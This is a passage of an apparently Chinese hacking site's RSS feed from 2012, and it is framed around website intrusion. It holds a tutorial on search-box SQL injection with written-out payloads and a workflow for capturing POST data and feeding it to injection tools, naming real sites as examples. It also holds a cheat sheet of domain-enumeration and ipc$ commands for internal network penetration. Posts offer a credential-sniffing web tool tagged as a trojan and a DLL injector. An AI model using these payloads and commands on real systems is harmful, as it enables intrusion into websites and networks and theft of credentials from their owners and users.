/></span><span>Like&nbsp;&quot;<span style="font-family: 宋体">黑客</span><span style="font-family: Verdana">%&quot;&nbsp;</span><span style="font-family: 宋体">返回以黑客开始的任意字符</span></span><span><br /></span><span>Like&nbsp;&quot;%<span style="font-family: 宋体">黑客</span><span style="font-family: Verdana">&quot;&nbsp;</span><span style="font-family: 宋体">返回以黑客结尾的任意字符</span></span><span><br /></span><span>Like&nbsp;&quot;%<span style="font-family: 宋体">黑客</span><span style="font-family: Verdana">%&quot;&nbsp;</span><span style="font-family: 宋体">返回以包含黑客的任意字符</span></span><span><br /></span><span>我想<span style="font-family: Verdana">,</span><span style="font-family: 宋体">通过这些例子的说明</span><span style="font-family: Verdana">,</span><span style="font-family: 宋体">大家对模糊查询有了一定的了解吧</span><span style="font-family: Verdana">,</span><span style="font-family: 宋体">下面我就讲讲注入的方法吧</span></span><span><br /></span><span>我们打开一个网站<span style="font-family: Verdana">,</span><span style="font-family: 宋体">在搜索框里输入关键字</span><span style="font-family: Verdana">%</span><span style="font-family: Times New Roman">&rsquo;&nbsp;</span><span style="font-family: Verdana">and&nbsp;1=1&nbsp;and&nbsp;</span><span style="font-family: Times New Roman">&rsquo;</span><span style="font-family: Verdana">%</span><span style="font-family: Times New Roman">&rsquo;</span><span style="font-family: Verdana">=</span><span style="font-family: Times New Roman">&rsquo;</span><span style="font-family: 宋体">关键字就为</span><span style="font-family: Verdana">&quot;</span><span style="font-family: 宋体">经理</span><span style="font-family: Verdana">&quot;</span><span style="font-family: 宋体">吧</span><span style="font-family: Verdana">,</span><span style="font-family: 宋体">点搜索</span><span style="font-family: Verdana">,</span><span style="font-family: 宋体">结果返回与经理有关的资料</span><span style="font-family: Verdana">,</span><span style="font-family: 宋体">当我们输入经理</span><span style="font-family: Verdana">%</span><span style="font-family: Times New Roman">&rsquo;&nbsp;</span><span style="font-family: Verdana">and&nbsp;1=2&nbsp;and&nbsp;</span><span style="font-family: Times New Roman">&rsquo;</span><span style="font-family: Verdana">%</span><span style="font-family: Times New Roman">&rsquo;</span><span style="font-family: Verdana">=</span><span style="font-family: Times New Roman">&rsquo;</span><span style="font-family: 宋体">时</span><span style="font-family: Verdana">,</span><span style="font-family: 宋体">却返回空的资料</span><span style="font-family: Verdana">,</span><span style="font-family: 宋体">这又是为什么呢</span><span style="font-family: Verdana">?,</span><span style="font-family: 宋体">哈哈</span><span style="font-family: Verdana">,</span><span style="font-family: 宋体">讲到这儿</span><span style="font-family: Verdana">,</span><span style="font-family: 宋体">有的朋友就可能想到时在第一讲中关于逻辑运算的知识了</span><span style="font-family: Verdana">,</span><span style="font-family: 宋体">不错</span><span style="font-family: Verdana">,</span><span style="font-family: 宋体">在我们输入经理</span><span style="font-family: Verdana">%</span><span style="font-family: Times New Roman">&rsquo;&nbsp;</span><span style="font-family: Verdana">and&nbsp;1=1&nbsp;and&nbsp;</span><span style="font-family: Times New Roman">&rsquo;</span><span style="font-family: Verdana">%</span><span style="font-family: Times New Roman">&rsquo;</span><span style="font-family: Verdana">=</span><span style="font-family: Times New Roman">&rsquo;</span><span style="font-family: 宋体">在</span><span style="font-family: Verdana">Like</span><span style="font-family: 宋体">后的语句就变成了</span><span style="font-family: Times New Roman">&rsquo;</span><span style="font-family: Verdana">%</span><span style="font-family: 宋体">经理</span><span style="font-family: Verdana">%</span><span style="font-family: Times New Roman">&rsquo;&nbsp;</span><span style="font-family: Verdana">and&nbsp;1=1&nbsp;and&nbsp;</span><span style="font-family: Times New Roman">&rsquo;</span><span style="font-family: Verdana">%</span><span style="font-family: Times New Roman">&rsquo;</span><span style="font-family: Verdana">=</span><span style="font-family: Times New Roman">&rsquo;</span><span style="font-family: Verdana">%</span><span style="font-family: Times New Roman">&rsquo;</span><span style="font-family: Verdana">,</span><span style="font-family: 宋体">转成逻辑运算符就为真</span><span style="font-family: Verdana">and</span><span style="font-family: 宋体">真</span><span style="font-family: Verdana">and</span><span style="font-family: 宋体">真</span><span style="font-family: Verdana">and,</span><span style="font-family: 宋体">那么它的结果也为真</span><span style="font-family: Verdana">,</span><span style="font-family: 宋体">当然返回我们要搜索的资料了</span><span style="font-family: Verdana">,</span><span style="font-family: 宋体">反之</span><span style="font-family: Verdana">,</span><span style="font-family: 宋体">运算的结果为假</span><span style="font-family: Verdana">,</span><span style="font-family: 宋体">自然就什么也搜&nbsp;索不到了</span><span style="font-family: Verdana">.</span><span style="font-family: 宋体">当然我们还可在搜索框中输入关键字</span><span style="font-family: Times New Roman">&rsquo;&nbsp;</span><span style="font-family: Verdana">and&nbsp;</span><span style="font-family: Times New Roman">&rsquo;</span><span style="font-family: Verdana">1%</span><span style="font-family: Times New Roman">&rsquo;</span><span style="font-family: Verdana">=</span><span style="font-family: Times New Roman">&rsquo;</span><span style="font-family: Verdana">1</span><span style="font-family: 宋体">和关键字</span><span style="font-family: Times New Roman">&rsquo;&nbsp;</span><span style="font-family: Verdana">and&nbsp;</span><span style="font-family: Times New Roman">&rsquo;</span><span style="font-family: Verdana">1%</span><span style="font-family: Times New Roman">&rsquo;</span><span style="font-family: Verdana">=</span><span style="font-family: Times New Roman">&rsquo;</span><span style="font-family: Verdana">2</span><span style="font-family: 宋体">来看是不是返回不同的页面来判断该漏洞的存在</span><span style="font-family: Verdana">.(</span><span style="font-family: 宋体">关于这方面的知识</span><span style="font-family: Verdana">,</span><span style="font-family: 宋体">在第一讲中我已比较详细的说明了</span><span style="font-family: Verdana">)</span></span><span><br /></span><span>同样<span style="font-family: Verdana">,</span><span style="font-family: 宋体">搜索型注入方法也分手工和工具两种方法</span><span style="font-family: Verdana">,</span><span style="font-family: 宋体">手工的注入利用方法很简单</span><span style="font-family: Verdana">,</span><span style="font-family: 宋体">只要我们在搜索框中输入关键字</span><span style="font-family: Verdana">%</span><span style="font-family: Times New Roman">&rsquo;&nbsp;</span><span style="font-family: Verdana">and&nbsp;</span><span style="font-family: 宋体">注入攻击代码&nbsp;</span><span style="font-family: Verdana">and&nbsp;</span><span style="font-family: Times New Roman">&rsquo;</span><span style="font-family: Verdana">%</span><span style="font-family: Times New Roman">&rsquo;</span><span style="font-family: Verdana">=</span><span style="font-family: Times New Roman">&rsquo;</span><span style="font-family: Verdana">,</span><span style="font-family: 宋体">这儿的注入攻击代码和我们平常在</span><span style="font-family: Verdana">URL</span><span style="font-family: 宋体">中使用的注入代码一样</span><span style="font-family: Verdana">,</span><span style="font-family: 宋体">比如</span><span style="font-family: Verdana">,</span><span style="font-family: 宋体">我们要判断网站后台的数据库类型</span><span style="font-family: Verdana">,</span><span style="font-family: 宋体">那么我们输入关键字</span><span style="font-family: Verdana">%</span><span style="font-family: Times New Roman">&rsquo;&nbsp;</span><span style="font-family: Verdana">and&nbsp;user&gt;0&nbsp;and&nbsp;</span><span style="font-family: Times New Roman">&rsquo;</span><span style="font-family: Verdana">%</span><span style="font-family: Times New Roman">&rsquo;</span><span style="font-family: Verdana">=</span><span style="font-family: Times New Roman">&rsquo;</span><span style="font-family: Verdana">,</span><span style="font-family: 宋体">就可以了</span><span style="font-family: Verdana">,</span><span style="font-family: 宋体">不过我们选的关键字一定要在这个网站中可以搜索到</span><span style="font-family: Verdana">,</span><span style="font-family: 宋体">如果这个关键字在网站中搜索不到那么</span><span style="font-family: Verdana">,</span><span style="font-family: 宋体">这个关键字就不可以来作为我们注入的关键&nbsp;字</span><span style="font-family: Verdana">.</span><span style="font-family: 宋体">在工具中</span><span style="font-family: Verdana">,NBSI</span><span style="font-family: 宋体">和</span><span style="font-family: Verdana">HDSL</span><span style="font-family: 宋体">这二款注入工具都提供了对搜索型的注入漏洞的注入</span><span style="font-family: Verdana">,</span><span style="font-family: 宋体">不过前提是我们要得到注入点</span><span style="font-family: Verdana">,</span><span style="font-family: 宋体">也就是要得到搜索页面的</span><span style="font-family: Verdana">URL</span><span style="font-family: 宋体">地址</span><span style="font-family: Verdana">,</span><span style="font-family: 宋体">在&nbsp;上一讲中</span><span style="font-family: Verdana">,</span><span style="font-family: 宋体">我已提到系统在获取用户的提交数据时</span><span style="font-family: Verdana">,</span><span style="font-family: 宋体">有</span><span style="font-family: Verdana">GET</span><span style="font-family: 宋体">和</span><span style="font-family: Verdana">POST</span><span style="font-family: 宋体">这两种的提交数据方式</span><span style="font-family: Verdana">,</span><span style="font-family: 宋体">在</span><span style="font-family: Verdana">request</span><span style="font-family: 宋体">对象中获取</span><span style="font-family: Verdana">GET</span><span style="font-family: 宋体">方法提交的数据对应的集合是&nbsp;</span><span style="font-family: Verdana">QueryString,</span><span style="font-family: 宋体">而获取</span><span style="font-family: Verdana">POST</span><span style="font-family: 宋体">方法提交的数据对应的集合是</span><span style="font-family: Verdana">From,</span><span style="font-family: 宋体">在实际的代码中</span><span style="font-family: Verdana">,</span><span style="font-family: 宋体">通过</span><span style="font-family: Verdana">POST</span><span style="font-family: 宋体">方法提交数据的时候用得最多</span><span style="font-family: Verdana">,</span><span style="font-family: 宋体">在上面的代码&nbsp;中</span><span style="font-family: Verdana">,</span><span style="font-family: 宋体">大家也可以看到是使用</span><span style="font-family: Verdana">POST</span><span style="font-family: 宋体">方法提交数据的</span><span style="font-family: Verdana">,</span><span style="font-family: 宋体">当然</span><span style="font-family: Verdana">request</span><span style="font-family: 宋体">对象可以不通过集合来获得数据</span><span style="font-family: Verdana">,</span><span style="font-family: 宋体">但它的效率低下</span><span style="font-family: Verdana">,</span><span style="font-family: 宋体">容易出错</span><span style="font-family: Verdana">,</span><span style="font-family: 宋体">在大型系统中一般不使用&nbsp;这种提交的方法</span><span style="font-family: Verdana">,</span><span style="font-family: 宋体">这两种提交数据的方法</span><span style="font-family: Verdana">,</span><span style="font-family: 宋体">最大的不同就是在通过</span><span style="font-family: Verdana">GET</span><span style="font-family: 宋体">方式提交数据的时候</span><span style="font-family: Verdana">,</span><span style="font-family: 宋体">所有的参数及值都是放入</span><span style="font-family: Verdana">URL</span><span style="font-family: 宋体">中的</span><span style="font-family: Verdana">,</span><span style="font-family: 宋体">成为</span><span style="font-family: Verdana">URL</span><span style="font-family: 宋体">的一部分</span><span style="font-family: Verdana">,</span><span style="font-family: 宋体">并显示&nbsp;出来</span><span style="font-family: Verdana">,</span><span style="font-family: 宋体">例如</span><span style="font-family: Verdana">,</span><span style="font-family: 宋体">百度在搜索的时候就是采用这种方式</span><span style="font-family: Verdana">,</span><span style="font-family: 宋体">当我们搜索</span><span style="font-family: Verdana">&quot;</span><span style="font-family: 宋体">新世纪网安</span><span style="font-family: Verdana">&quot;</span><span style="font-family: 宋体">时</span><span style="font-family: Verdana">,</span><span style="font-family: 宋体">就可以看到在浏览器的</span><span style="font-family: Verdana">URL</span><span style="font-family: 宋体">显示&nbsp;了</span><span style="font-family: Verdana">&quot;http://www.baidu.com/s?wd=%D0%C2%CA%C0%BC%CD%CD%F8%B0%B2&amp;cl=3&quot;</span><span style="font-family: 宋体">而</span><span style="font-family: Verdana">%D0&nbsp;%C2%CA%C0%BC%CD%CD%F8%B0%B2</span><span style="font-family: 宋体">就是新世纪网安经过编码的字符</span><span style="font-family: Verdana">(</span><span style="font-family: 宋体">这点</span><span style="font-family: Verdana">,</span><span style="font-family: 宋体">我可以给大家看下</span><span style="font-family: Verdana">),</span><span style="font-family: 宋体">并放入在</span><span style="font-family: Verdana">URL</span><span style="font-family: 宋体">中</span><span style="font-family: Verdana">,</span><span style="font-family: 宋体">在这个</span><span style="font-family: Verdana">URL</span><span style="font-family: 宋体">中</span><span style="font-family: Verdana">,&nbsp;</span><span style="font-family: 宋体">通过将</span><span style="font-family: Verdana">?,&amp;</span><span style="font-family: 宋体">多个变量的值连在一起</span><span style="font-family: Verdana">,</span><span style="font-family: 宋体">这个</span><span style="font-family: Verdana">URL</span><span style="font-family: 宋体">是传输搜索字</span><span style="font-family: Verdana">&quot;</span><span style="font-family: 宋体">新世纪网安</span><span style="font-family: Verdana">&quot;.</span><span style="font-family: 宋体">而</span><span style="font-family: Verdana">cl</span><span style="font-family: 宋体">的值为</span><span style="font-family: Verdana">3,</span><span style="font-family: 宋体">如果系统是采用</span><span style="font-family: Verdana">GET</span><span style="font-family: 宋体">方式提交的搜索</span><span style="font-family: Verdana">,</span><span style="font-family: 宋体">我们只需要把&nbsp;其</span><span style="font-family: Verdana">URL</span><span style="font-family: 宋体">填入工具中就可</span><span style="font-family: Verdana">,</span><span style="font-family: 宋体">不过还要填入可以搜索到的关键字</span><span style="font-family: Verdana">,</span><span style="font-family: 宋体">但在使用</span><span style="font-family: Verdana">POST</span><span style="font-family: 宋体">提交方式时</span><span style="font-family: Verdana">,</span><span style="font-family: 宋体">我们提交的数据在</span><span style="font-family: Verdana">URL</span><span style="font-family: 宋体">中是看不到的</span><span style="font-family: Verdana">,</span><span style="font-family: 宋体">它将表单中的数据放到&nbsp;</span><span style="font-family: Verdana">PORM</span><span style="font-family: 宋体">的数据体中了</span><span style="font-family: Verdana">,</span><span style="font-family: 宋体">这样我们就要自己来手动找出隐藏的变量了</span><span style="font-family: Verdana">,</span><span style="font-family: 宋体">然后再赋予正确的值并正确构造出注入的</span><span style="font-family: Verdana">URL,</span><span style="font-family: 宋体">再交给工具进行注入就行了</span><span style="font-family: Verdana">,</span><span style="font-family: 宋体">下面我就&nbsp;用</span><span style="font-family: Verdana"><a href="http://www.topjishu.com">http://www.topjishu.com</a></span><span style="font-family: 宋体">和</span></span><span><a href="http://www.bkhack.com"><span>http://www.bkhack.com</span></a> </span><span><span style="font-family: 宋体">这两个网站分别来讲讲两种方法的步骤</span><span style="font-family: Verdana">:</span></span><span><br /></span><span>1:<span style="font-family: 宋体">先判断有没有注入的漏洞</span></span><span><br /></span><span>2:<span style="font-family: 宋体">先在网站的搜索框中输入要搜索的关键字</span><span style="font-family: Verdana">,</span><span style="font-family: 宋体">先不要点击</span><span style="font-family: Verdana">&quot;</span><span style="font-family: 宋体">搜索</span><span style="font-family: Verdana">&quot;.</span></span><span><br /></span><span>3:<span style="font-family: 宋体">再打开</span><span style="font-family: Verdana">Wesockexpert</span><span style="font-family: 宋体">工具</span><span style="font-family: Verdana">,</span><span style="font-family: 宋体">单击工具条里的</span><span style="font-family: Verdana">&quot;</span><span style="font-family: 宋体">打开进程</span><span style="font-family: Verdana">&quot;</span><span style="font-family: 宋体">按钮</span><span style="font-family: Verdana">,</span><span style="font-family: 宋体">会出现一个进程列表</span><span style="font-family: Verdana">,</span><span style="font-family: 宋体">选择网站的</span><span style="font-family: Verdana">IE</span><span style="font-family: 宋体">进程</span><span style="font-family: Verdana">,</span><span style="font-family: 宋体">点击后打开就可以监视我们提交的数据了</span><span style="font-family: Verdana">,</span></span><span><br /></span><span>4:<span style="font-family: 宋体">再点击</span><span style="font-family: Verdana">&quot;</span><span style="font-family: 宋体">搜索</span><span style="font-family: Verdana">&quot;,</span><span style="font-family: 宋体">之后</span><span style="font-family: Verdana">,</span><span style="font-family: 宋体">我们在工具界面的框中</span><span style="font-family: Verdana">,</span><span style="font-family: 宋体">选中</span><span style="font-family: Verdana">POST</span><span style="font-family: 宋体">提交的信息包</span><span style="font-family: Verdana">,</span><span style="font-family: 宋体">点击后</span><span style="font-family: Verdana">,</span><span style="font-family: 宋体">就会在下面的框中</span><span style="font-family: Verdana">,</span><span style="font-family: 宋体">就会出现</span><span style="font-family: Verdana">POST</span><span style="font-family: 宋体">提交的参数和相对应的值</span></span><span><br /></span><span>5:URL<span style="font-family: 宋体">的手工修改</span><span style="font-family: Verdana">,</span><span style="font-family: 宋体">修改好后把它填入注入工具里</span><span style="font-family: Verdana">,</span><span style="font-family: 宋体">关于搜索型注入工具</span><span style="font-family: Verdana">,HDSI</span><span style="font-family: 宋体">工具处理的比较好</span><span style="font-family: Verdana">,</span><span style="font-family: 宋体">大家还要注意</span><span style="font-family: Verdana">,</span><span style="font-family: 宋体">由于工具判断注入漏洞的方法只是检测&nbsp;最后的一个变量</span><span style="font-family: Verdana">,</span><span style="font-family: 宋体">因此要把查询的关键字放在</span><span style="font-family: Verdana">URL</span><span style="font-family: 宋体">的最后面才可以检测出来</span><span style="font-family: Verdana">,</span><span style="font-family: 宋体">接下来工具就可以帮我们做想做的事了</span><span style="font-family: Verdana">.&nbsp;(</span><span style="font-family: 宋体">重要申明</span><span style="font-family: Verdana">,</span><span style="font-family: 宋体">大家看了教程后</span><span style="font-family: Verdana">,</span><span style="font-family: 宋体">不要去对上面的二个网站搞破坏</span><span style="font-family: Verdana">,</span><span style="font-family: 宋体">否则后果自负</span><span style="font-family: Verdana">)</span></span><span><br /></span><span>现在很多的网站系统都过滤了一些普通的注入<span style="font-family: Verdana">,</span><span style="font-family: 宋体">但程序员往往疏忽了对搜索功能查询</span><span style="font-family: Verdana">,</span><span style="font-family: 宋体">文本框内的输入和隐藏域内的数据提交变量</span><span style="font-family: Verdana">(</span><span style="font-family: 宋体">参数</span><span style="font-family: Verdana">)</span><span style="font-family: 宋体">的过滤或过滤不全</span><span style="font-family: Verdana">,</span><span style="font-family: 宋体">这样也导致了漏洞的产生</span></span></p></span></span></a></p><p>Copyright © 2009-2011</p><p><a href="http://www.bkhack.com/web/190.html" target="_blank">继续阅读《搜索型注入点的找寻和注入的方法》的全文内容...</a></p><p>分类: <a href="http://www.bkhack.com/article/web.html">网站安全</a> | Tags: <a href="http://www.bkhack.com/catalog.asp?tags=%E6%B3%A8%E5%85%A5">注入</a>&nbsp;&nbsp;<a href="http://www.bkhack.com/catalog.asp?tags=%E7%BD%91%E7%AB%99%E5%85%A5%E4%BE%B5">网站入侵</a>&nbsp;&nbsp; | <a href="http://www.bkhack.com/web/190.html#comment" target="_blank">添加评论</a>(0)</p><h3>相关文章:</h3><ul><li><a href="http://www.bkhack.com/web/193.html">入侵技巧10则</a> (2012-2-21 22:42:34)  </li><li><a href="http://www.bkhack.com/web/192.html">webshell提权宝典</a> (2012-2-21 21:16:35)  </li><li><a href="http://www.bkhack.com/web/cookies-ZhuRuShiShiMe-ShiFouCunZaiDePanDuanFangFa-ZenMeLiYong.html">cookies 注入是什么，是否存在的判断方法，怎么利用？</a> (2012-1-3 12:35:23)  </li><li><a href="http://www.bkhack.com/web/RuQinFuDanDaXueWangZhan.html">入侵复旦大学网站</a> (2011-12-30 19:53:56)  </li><li><a href="http://www.bkhack.com/web/107.html">后台登入框注入实例技术</a> (2011-12-20 13:52:2)  </li></ul>]]></description><category>网站安全</category><comments>http://www.bkhack.com/web/190.html#comment</comments><wfw:comment>http://www.bkhack.com/</wfw:comment><wfw:commentRss>http://www.bkhack.com/feed.asp?cmt=190</wfw:commentRss><trackback:ping>http://www.bkhack.com/cmd.asp?act=tb&amp;id=190&amp;key=35134f1e</trackback:ping></item><item><title>内网渗透一些命令整理</title><author>a@b.com (lxsky)</author><link>http://www.bkhack.com/web/189.html</link><pubDate>Tue, 21 Feb 2012 18:54:39 +0800</pubDate><guid>http://www.bkhack.com/web/189.html</guid><description><![CDATA[<p>@查询本机的一些情况</p><p>ipconfig /all</p><p>@查询存在关系的机器</p><p>Net view</p><p>@查询有几个域</p><p>nei view /damin</p><p>@查看 testdomain域中的计算机列表</p><p>net view /domain:testdomain</p><p>@查询域内的组</p><p>net group /domain</p><p>@划分网段</p><p>dsquery subnet</p><p>@查询域内用户</p><p>net user /domain</p><p>@查询域内组信息</p><p>net group /domain</p><p>@查询域管理用户组</p><p>net group &quot;domain admins&quot; /domain</p><p>@查看管理员登陆时间，密码过期时间，是否有登陆脚本，组分配等信息！</p><p>net user domain-admin /domain</p><p>@查询域内计算机</p><p>net group &quot;domain computers&quot; /domain</p><p>@判断机器属于哪个域</p><p>net config Workstation</p><p>@判断主域.主域服务器都做时间服务器</p><p>net time /domian&nbsp; //这招是在LCX牛的文章里面学会的</p><p>net group &quot;domain admins&quot; /domain</p><p>@ipc域内连接</p><p>net use <a href="http://file://%20%20IP%20ipc$">\\IP\ipc$</a> password /user:username@domain</p><p>====</p><p>猜测内网结构的一些命令和工具</p><p>====</p><p>tracert&nbsp; 10.1.0.1</p><p>ping x.x.x.x</p><p>nbtscan -r 192.168.16.0/24</p><p>@扫描某个段的一些东西 //感谢玫瑰大叔的工具。感谢猫师傅给我说这个东东</p><p>hd.exe -hscan 10.0.0.1-10.0.0.255 /a /t 200</p><p>&nbsp;</p><p><br />&nbsp;</p><p>Copyright © 2009-2011</p><p><a href="http://www.bkhack.com/web/189.html" target="_blank">继续阅读《内网渗透一些命令整理》的全文内容...</a></p><p>分类: <a href="http://www.bkhack.com/article/web.html">网站安全</a> | Tags: <a href="http://www.bkhack.com/catalog.asp?tags=%E6%B8%97%E9%80%8F">渗透</a>&nbsp;&nbsp; | <a href="http://www.bkhack.com/web/189.html#comment" target="_blank">添加评论</a>(0)</p><p><a href="http://www.bkhack.com/web/189.html#comment" target="_blank">还没有相关文章，您来说两句？</a></p>]]></description><category>网站安全</category><comments>http://www.bkhack.com/web/189.html#comment</comments><wfw:comment>http://www.bkhack.com/</wfw:comment><wfw:commentRss>http://www.bkhack.com/feed.asp?cmt=189</wfw:commentRss><trackback:ping>http://www.bkhack.com/cmd.asp?act=tb&amp;id=189&amp;key=7748bcad</trackback:ping></item><item><title>websniff1.0.asp下载</title><author>a@b.com (lxsky)</author><link>http://www.bkhack.com/down/188.html</link><pubDate>Tue, 21 Feb 2012 18:49:29 +0800</pubDate><guid>http://www.bkhack.com/down/188.html</guid><description><![CDATA[<p><font color="#0000ff">程序说明：<br />user权限的aspx rawsocket sniff，可用于smtp,http,ftp敏感信息获取。<br /><br />功能特点：<br />可过滤端口，关键字，包大小；<br />结果以Tcpdump/wireshark格式保存，生成的rar文件 直接用wireshark打开；</font><br /><br />&nbsp;</p><p><a href="http://www.bkhack.com/upload/2012/2/websniff1.0.rar" target="_blank">websniff1.0.rar</a></p><p>Copyright © 2009-2011</p><p><a href="http://www.bkhack.com/down/188.html" target="_blank">继续阅读《websniff1.0.asp下载》的全文内容...</a></p><p>分类: <a href="http://www.bkhack.com/article/down.html">下载专区</a> | Tags: <a href="http://www.bkhack.com/catalog.asp?tags=%E6%9C%A8%E9%A9%AC">木马</a>&nbsp;&nbsp; | <a href="http://www.bkhack.com/down/188.html#comment" target="_blank">添加评论</a>(0)</p><p><a href="http://www.bkhack.com/down/188.html#comment" target="_blank">还没有相关文章，您来说两句？</a></p>]]></description><category>下载专区</category><comments>http://www.bkhack.com/down/188.html#comment</comments><wfw:comment>http://www.bkhack.com/</wfw:comment><wfw:commentRss>http://www.bkhack.com/feed.asp?cmt=188</wfw:commentRss><trackback:ping>http://www.bkhack.com/cmd.asp?act=tb&amp;id=188&amp;key=979564f5</trackback:ping></item><item><title>怖客扫毒专家 VER1.0测试版</title><author>a@b.com (lxsky)</author><link>http://www.bkhack.com/down/bksaodu.html</link><pubDate>Tue, 21 Feb 2012 13:43:32 +0800</pubDate><guid>http://www.bkhack.com/down/bksaodu.html</guid><description><![CDATA[<p>&nbsp;还没有开发完成,先晒晒几张图!</p><p><img title="" alt="" src="http://www.bkhack.com/upload/2012/2/201202211346541413.jpg" onload="ResizeImage(this,520)" /><img title="" alt="" src="http://www.bkhack.com/upload/2012/2/201202211347067862.jpg" onload="ResizeImage(this,520)" /></p><p>&nbsp;</p><p><img title="" alt="" src="http://www.bkhack.com/upload/2012/2/201202211349370107.jpg" onload="ResizeImage(this,520)" /></p><p>Copyright © 2009-2011</p><p><a href="http://www.bkhack.com/down/bksaodu.html" target="_blank">继续阅读《怖客扫毒专家 VER1.0测试版》的全文内容...</a></p><p>分类: <a href="http://www.bkhack.com/article/down.html">下载专区</a> | Tags: <a href="http://www.bkhack.com/catalog.asp?tags=%E5%8E%9F%E5%88%9B%E5%B7%A5%E5%85%B7">原创工具</a>&nbsp;&nbsp;<a href="http://www.bkhack.com/catalog.asp?tags=%E5%B7%A5%E5%85%B7%E4%B8%8B%E8%BD%BD">工具下载</a>&nbsp;&nbsp;<a href="http://www.bkhack.com/catalog.asp?tags=%E5%AE%89%E5%85%A8%E5%B7%A5%E5%85%B7">安全工具</a>&nbsp;&nbsp;<a href="http://www.bkhack.com/catalog.asp?tags=%E5%AE%89%E5%85%A8">安全</a>&nbsp;&nbsp; | <a href="http://www.bkhack.com/down/bksaodu.html#comment" target="_blank">添加评论</a>(0)</p><h3>相关文章:</h3><ul><li><a href="http://www.bkhack.com/down/MFC-jishiben.html">vc++6.0写的另一风格的记事本软件[开源]</a> (2012-2-21 13:32:9)  </li><li><a href="http://www.bkhack.com/down/185.html">原创DLL注入工具【软件.游戏研究测试必备】</a> (2012-2-21 13:19:15)  </li><li><a href="http://www.bkhack.com/news/ngLiLe.html">怖客原创工具列表！集合，整理了</a> (2012-1-2 19:11:9)  </li><li><a href="http://www.bkhack.com/down/BuKeWenJianJiaJiaMiGongJuFaBuLa.html">【怖客】文件夹加密工具发布啦</a> (2012-1-2 19:7:14)  </li><li><a href="http://www.bkhack.com/down/52.html">windows定时关机软件【怖客】</a> (2011-12-6 15:58:26)  </li></ul>]]></description><category>下载专区</category><comments>http://www.bkhack.com/down/bksaodu.html#comment</comments><wfw:comment>http://www.bkhack.com/</wfw:comment><wfw:commentRss>http://www.bkhack.com/feed.asp?cmt=187</wfw:commentRss><trackback:ping>http://www.bkhack.com/cmd.asp?act=tb&amp;id=187&amp;key=046328ee</trackback:ping></item><item><title>vc++6.0写的另一风格的记事本软件[开源]</title><author>a@b.com (lxsky)</author><link>http://www.bkhack.com/down/MFC-jishiben.html</link><pubDate>Tue, 21 Feb 2012 13:32:09 +0800</pubDate><guid>http://www.bkhack.com/down/MFC-jishiben.html</guid><description><![CDATA[<p>&nbsp;</p><p><img title="" alt="" onload="ResizeImage(this,520)" src="http://www.bkhack.com/upload/2012/2/201202211333171531.jpg" /></p><p>&nbsp;</p><p><img title="" alt="" onload="ResizeImage(this,520)" src="http://www.bkhack.com/upload/2012/2/201202211333467433.jpg" /></p><p>&nbsp;</p><p>&nbsp;下载地址: <a target="_blank" href="http://www.bkhack.com/upload/2012/2/记事本.rar">记事本.rar</a></p><p>&nbsp; 开源下载:<a href="http://www.topjishu.com/thread-571-1-1.html">http://www.topjishu.com/thread-571-1-1.html</a></p><p>Copyright © 2009-2011</p><p><a href="http://www.bkhack.com/down/MFC-jishiben.html" target="_blank">继续阅读《vc++6.0写的另一风格的记事本软件[开源]》的全文内容...</a></p><p>分类: <a href="http://www.bkhack.com/article/down.html">下载专区</a> | Tags: <a href="http://www.bkhack.com/catalog.asp?tags=%E5%8E%9F%E5%88%9B%E5%B7%A5%E5%85%B7">原创工具</a>&nbsp;&nbsp;<a href="http://www.bkhack.com/catalog.asp?tags=%E5%B7%A5%E5%85%B7%E4%B8%8B%E8%BD%BD">工具下载</a>&nbsp;&nbsp; | <a href="http://www.bkhack.com/down/MFC-jishiben.html#comment" target="_blank">添加评论</a>(0)</p><h3>相关文章:</h3><ul><li><a href="http://www.bkhack.com/down/bksaodu.html">怖客扫毒专家 VER1.0测试版</a> (2012-2-21 13:43:32)  </li><li><a href="http://www.bkhack.com/down/185.html">原创DLL注入工具【软件.游戏研究测试必备】</a> (2012-2-21 13:19:15)  </li><li><a href="http://www.bkhack.com/news/ngLiLe.html">怖客原创工具列表！集合，整理了</a> (2012-1-2 19:11:9)  </li><li><a href="http://www.bkhack.com/down/BuKeWenJianJiaJiaMiGongJuFaBuLa.html">【怖客】文件夹加密工具发布啦</a> (2012-1-2 19:7:14)  </li><li><a href="http://www.bkhack.com/down/52.html">windows定时关机软件【怖客】</a> (2011-12-6 15:58:26)  </li></ul>]]></description><category>下载专区</category><comments>http://www.bkhack.com/down/MFC-jishiben.html#comment</comments><wfw:comment>http://www.bkhack.com/</wfw:comment><wfw:commentRss>http://www.bkhack.com/feed.asp?cmt=186</wfw:commentRss><trackback:ping>http://www.bkhack.com/cmd.asp?act=tb&amp;id=186&amp;key=e0cc0172</trackback:ping></item><item><title>原创DLL注入工具【软件.游戏研究测试必备】</title><author>a@b.com (lxsky)</author><link>http://www.bkhack.com/down/185.html</link><pubDate>Tue, 21 Feb 2012 13:19:15 +0800</pubDate><guid>http://www.bkhack.com/down/185.html</guid><description><![CDATA[<p>程序只有15KB,vc++6.0编译,因为涉及到创建远程线程,360会提示<br />,但大家尽管放心用,保证无毒.</p><p>&nbsp;<img title="" alt="" src="http://www.bkhack.com/upload/2012/2/201202211323312584.jpg" onload="ResizeImage(this,520)" /></p><p>&nbsp;</p><p>&nbsp;<img title="" alt="" src="http://www.bkhack.com/upload/2012/2/201202211323125048.jpg" onload="ResizeImage(this,520)" /></p><p><br />&nbsp;<a href="http://www.bkhack.com/upload/2012/2/怖客DLL注入测试器.rar" target="_blank">怖客DLL注入测试器.rar</a></p><p><br />详细出处请参考：<a href="http://www.topjishu.com/thread-567-1-1.html">http://www.topjishu.com/thread-567-1-1.html</a></p><p>&nbsp;</p><p>Copyright © 2009-2011</p><p><a href="http://www.bkhack.com/down/185.html" target="_blank">继续阅读《原创DLL注入工具【软件.游戏研究测试必备】》的全文内容...</a></p><p>分类: <a href="http://www.bkhack.com/article/down.html">下载专区</a> | Tags: <a href="http://www.bkhack.com/catalog.asp?tags=%E5%8E%9F%E5%88%9B%E5%B7%A5%E5%85%B7">原创工具</a>&nbsp;&nbsp;<a href="http://www.bkhack.com/catalog.asp?tags=%E5%B7%A5%E5%85%B7%E4%B8%8B%E8%BD%BD">工具下载</a>&nbsp;&nbsp; | <a href="http://www.bkhack.com/down/185.html#comment" target="_blank">添加评论</a>(0)</p><h3>相关文章:</h3><ul><li><a href="http://www.bkhack.com/down/bksaodu.html">怖客扫毒专家 VER1.0测试版</a> (2012-2-21 13:43:32)  </li><li><a href="http://www.bkhack.com/down/MFC-jishiben.html">vc++6.0写的另一风格的记事本软件[开源]</a> (2012-2-21 13:32:9)  </li><li><a 